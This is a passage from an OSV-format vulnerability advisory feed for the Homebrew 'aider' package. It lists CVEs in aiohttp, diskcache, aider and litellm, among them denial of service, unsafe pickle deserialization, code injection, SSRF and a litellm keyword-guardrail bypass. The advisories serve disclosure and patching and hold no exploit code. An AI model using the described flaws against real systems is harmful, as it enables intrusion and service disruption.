https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mqqc-3gqh-h2x8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69225"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69226","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-54jq-c3m8-4m76","CVE-2025-69226","PYSEC-2026-1097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to brute-force leak of internal static file path components","details":"### Summary\nPath normalization for static files prevents path traversal, but opens up the ability for an attacker to ascertain the\nexistence of absolute path components.\n\n### Impact\nIf an application uses `web.static()` (not recommended for production deployments), it may be possible for an attacker to ascertain the existence of path components.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-54jq-c3m8-4m76"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69226"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69227","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-jj3x-wxrx-4x23","CVE-2025-69227","PYSEC-2026-1107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS when bypassing asserts","details":"### Summary\nWhen assert statements are bypassed, an infinite loop can occur, resulting in a DoS attack when processing a POST body.\n\n### Impact\nIf optimisations are enabled (`-O` or `PYTHONOPTIMIZE=1`), and the application includes a handler that uses the `Request.post()` method, then an attacker may be able to execute a DoS attack with a specially crafted message.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jj3x-wxrx-4x23"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69227"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69228","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-6jhg-hg63-jvvf","CVE-2025-69228","PYSEC-2026-1100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to denial of service through large payloads","details":"### Summary\nA request can be crafted in such a way that an aiohttp server's memory fills up uncontrollably during processing.\n\n### Impact\nIf an application includes a handler that uses the `Request.post()` method, an attacker may be able to freeze the server by exhausting the memory.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6jhg-hg63-jvvf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69228"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69229","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-g84x-mcqj-x9qq","CVE-2025-69229","PYSEC-2026-1106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS through chunked messages","details":"### Summary\n\nHandling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks.\n\n### Impact\n\nIf an application makes use of the `request.read()` method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712\nPatch: https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g84x-mcqj-x9qq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69230","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-fh55-r93g-j68g","CVE-2025-69230","PYSEC-2026-1105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP Vulnerable to Cookie Parser Warning Storm","details":"### Summary\nReading multiple invalid cookies can lead to a logging storm.\n\n### Impact\nIf the ``cookies`` attribute is accessed in an application, then an attacker may be able to trigger a storm of warning-level logs using a specially crafted Cookie header.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-fh55-r93g-j68g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69230"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69872","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-w8v5-vhqr-4h9v","CVE-2025-69872","PYSEC-2026-2447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"diskcache","resource_purl":"pkg:pypi/diskcache@5.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"diskcache","subject_version":"5.6.3","key":"pkg:pypi/diskcache@5.6.3","resource":"diskcache"}]},"summary":"DiskCache has unsafe pickle deserialization","details":"DiskCache (python-diskcache) through 5.6.3 uses Python pickle for serialization by default. An attacker with write access to the cache directory can achieve arbitrary code execution when a victim application reads from the cache.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69872"},{"type":"WEB","url":"https://github.com/EthanKim88/ethan-cve-disclosures/blob/main/CVE-2025-69872-DiskCache-Pickle-Deserialization.md"},{"type":"PACKAGE","url":"https://github.com/grantjenks/python-diskcache"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-10175","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["CVE-2026-10175","GHSA-7w7m-v5vp-w699","PYSEC-2026-2335"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/aider-ai/aider","subject_version":"0.86.2","key":"https://github.com/aider-ai/aider"},{"strategy":"registry","ecosystem":"PyPI","name":"aider-chat","subject_version":"0.86.2","key":"pkg:pypi/aider-chat@0.86.2"}]},"summary":"Aider-AI Aider Architect Mode auth.py editor_coder.run code injection","details":"A security flaw has been discovered in Aider-AI Aider 0.86.3. Affected by this vulnerability is the function editor_coder.run of the file auth.py of the component Architect Mode. Performing a manipulation results in code injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/Aider-AI/aider/"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/10xxx/CVE-2026-10175.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10175"},{"type":"ADVISORY","url":"https://vuldb.com/cve/CVE-2026-10175"},{"type":"ADVISORY","url":"https://vuldb.com/submit/819909"},{"type":"ADVISORY","url":"https://vuldb.com/vuln/367456"},{"type":"REPORT","url":"https://github.com/Aider-AI/aider/issues/5058"},{"type":"REPORT","url":"https://vuldb.com/vuln/367456/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-10177","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["CVE-2026-10177","GHSA-hchg-qm84-cj9p","PYSEC-2026-2336"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/aider-ai/aider","subject_version":"0.86.2","key":"https://github.com/aider-ai/aider"},{"strategy":"registry","ecosystem":"PyPI","name":"aider-chat","subject_version":"0.86.2","key":"pkg:pypi/aider-chat@0.86.2"}]},"summary":"Aider-AI Aider AWS EC2 Metadata Endpoint api_docs.py requests.get server-side request forgery","details":"A security vulnerability has been detected in Aider-AI Aider 0.86.3. This affects the function requests.get of the file api_docs.py of the component AWS EC2 Metadata Endpoint. The manipulation leads to server-side request forgery. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. It is suggested to install a patch to address this issue. The pull request to fix this issue awaits acceptance.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/Aider-AI/aider/"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/10xxx/CVE-2026-10177.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10177"},{"type":"ADVISORY","url":"https://vuldb.com/cve/CVE-2026-10177"},{"type":"ADVISORY","url":"https://vuldb.com/submit/819911"},{"type":"ADVISORY","url":"https://vuldb.com/vuln/367458"},{"type":"REPORT","url":"https://github.com/Aider-AI/aider/issues/5075"},{"type":"REPORT","url":"https://vuldb.com/vuln/367458/cti"},{"type":"FIX","url":"https://github.com/Aider-AI/aider/pull/5137"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12770","published":"2026-09-11T15:21:01Z","modified":"2026-09-11T15:21:01Z","upstream":["GHSA-6qr3-3g89-m4jj","CVE-2026-12770"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.76.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Admin Key Handler Has Improper Authorization","details":"A vulnerability was determined in BerriAI litellm up to 1.63.1. The impacted element is an unknown function of the file litellm/proxy/management_endpoints/key_management_endpoints.py of the component Admin Key Handler. This manipulation causes improper authorization. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12770"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/23781"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/993c68152b2c770d53590f1684c755d4"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12770"},{"type":"WEB","url":"https://vuldb.com/submit/811279"},{"type":"WEB","url":"https://vuldb.com/vuln/372512"},{"type":"WEB","url":"https://vuldb.com/vuln/372512/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12771","published":"2026-09-11T15:21:01Z","modified":"2026-09-11T15:21:01Z","upstream":["GHSA-qmf3-4767-5fg3","CVE-2026-12771"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: M2M JWT Handler Has Improper Authorization","details":"A vulnerability was identified in BerriAI litellm up to 1.82.2. This affects an unknown function of the file litellm/proxy/auth/user_api_key_auth.py of the component M2M JWT Handler. Such manipulation leads to improper authorization. The attack can be launched remotely. A high complexity level is associated with this attack. The exploitability is reported as difficult. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12771"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/70e4e106527f74ddf17953ff0f6c248d"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12771"},{"type":"WEB","url":"https://vuldb.com/submit/811280"},{"type":"WEB","url":"https://vuldb.com/vuln/372513"},{"type":"WEB","url":"https://vuldb.com/vuln/372513/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12772","published":"2026-09-11T15:21:01Z","modified":"2026-09-11T15:21:01Z","upstream":["GHSA-mf52-j94g-746m","CVE-2026-12772"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: PROXY_ADMIN database API Key Generator Has Insufficient Session Expiration","details":"A security flaw has been discovered in BerriAI litellm up to 1.82.2. This impacts the function authenticate_user of the file litellm/proxy/auth/login_utils.py of the component PROXY_ADMIN database API Key Generator. Performing a manipulation results in session expiration. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12772"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/39ed709ce322431658a05b951e91f278"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12772"},{"type":"WEB","url":"https://vuldb.com/submit/811281"},{"type":"WEB","url":"https://vuldb.com/vuln/372514"},{"type":"WEB","url":"https://vuldb.com/vuln/372514/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12773","published":"2026-09-11T15:21:01Z","modified":"2026-09-11T15:21:01Z","upstream":["GHSA-4jcj-7x88-m979","CVE-2026-12773"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.84.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: MCP Proxy Has Improper Authentication","details":"A weakness has been identified in BerriAI litellm up to 1.59.8. Affected is the function UserAPIKeyAuth of the file litellm/proxy/_experimental/mcp_server/auth/user_api_key_auth_mcp.py of the component MCP Proxy. Executing a manipulation can lead to improper authentication. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12773"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/73869f0faf7d11ee21adcb5f91b8c33a340b6c2c"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-12773"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2491112"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/3cfaad10a69d7a15e4d4d458cb53309e"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-12773.json"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12773"},{"type":"WEB","url":"https://vuldb.com/submit/811282"},{"type":"WEB","url":"https://vuldb.com/vuln/372515"},{"type":"WEB","url":"https://vuldb.com/vuln/372515/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12795","published":"2026-09-11T15:21:01Z","modified":"2026-09-11T15:21:01Z","upstream":["GHSA-j37q-q7p9-vpwm","CVE-2026-12795"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: SSO Debug Flow Has Improper Authentication","details":"A vulnerability was determined in BerriAI litellm up to 1.82.2. This affects the function json.dumps of the file litellm/proxy/management_endpoints/ui_sso.py of the component SSO Debug Flow. Executing a manipulation can lead to missing authentication. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12795"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/9b13c75a3a73187a4082cc6df0b100d3"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12795"},{"type":"WEB","url":"https://vuldb.com/submit/811286"},{"type":"WEB","url":"https://vuldb.com/vuln/372557"},{"type":"WEB","url":"https://vuldb.com/vuln/372557/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12796","published":"2026-09-15T08:43:30Z","modified":"2026-09-15T08:43:30Z","upstream":["GHSA-w2mh-qq9q-453x","CVE-2026-12796"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"BerriAI litellm: SSO Login Does Not Invalidate Previous UI Session Tokens","details":"A vulnerability was identified in BerriAI litellm up to 1.82.2. This impacts the function get_redirect_response_from_openid of the file litellm/proxy/management_endpoints/ui_sso.py of the component SSO Authentication Flow. The manipulation leads to session expiration. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12796"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/5fa8af12e1b183674d7ca96d852fb697"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12796"},{"type":"WEB","url":"https://vuldb.com/submit/811287"},{"type":"WEB","url":"https://vuldb.com/vuln/372558"},{"type":"WEB","url":"https://vuldb.com/vuln/372558/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12797","published":"2026-09-15T08:43:30Z","modified":"2026-09-15T08:43:30Z","upstream":["GHSA-p897-vf7j-f5h8","CVE-2026-12797"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"BerriAI litellm has Security Feature Bypass in BannedKeywords and AzureContentSafety Guardrails via call_type Mismatch on Async Endpoints","details":"A security flaw has been discovered in BerriAI litellm up to 1.82.5. Affected is the function async_pre_call_hook of the file enterprise/enterprise_hooks/banned_keywords.py of the component Completions Interface. The manipulation of the argument prompt results in incorrect authorization. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12797"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/078179224f07cc4e39e4f141a18c817a"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12797"},{"type":"WEB","url":"https://vuldb.com/submit/811288"},{"type":"WEB","url":"https://vuldb.com/vuln/372559"},{"type":"WEB","url":"https://vuldb.com/vuln/372559/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12798","published":"2026-09-15T08:43:29Z","modified":"2026-09-15T08:43:29Z","upstream":["GHSA-c693-x898-5g4h","CVE-2026-12798"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix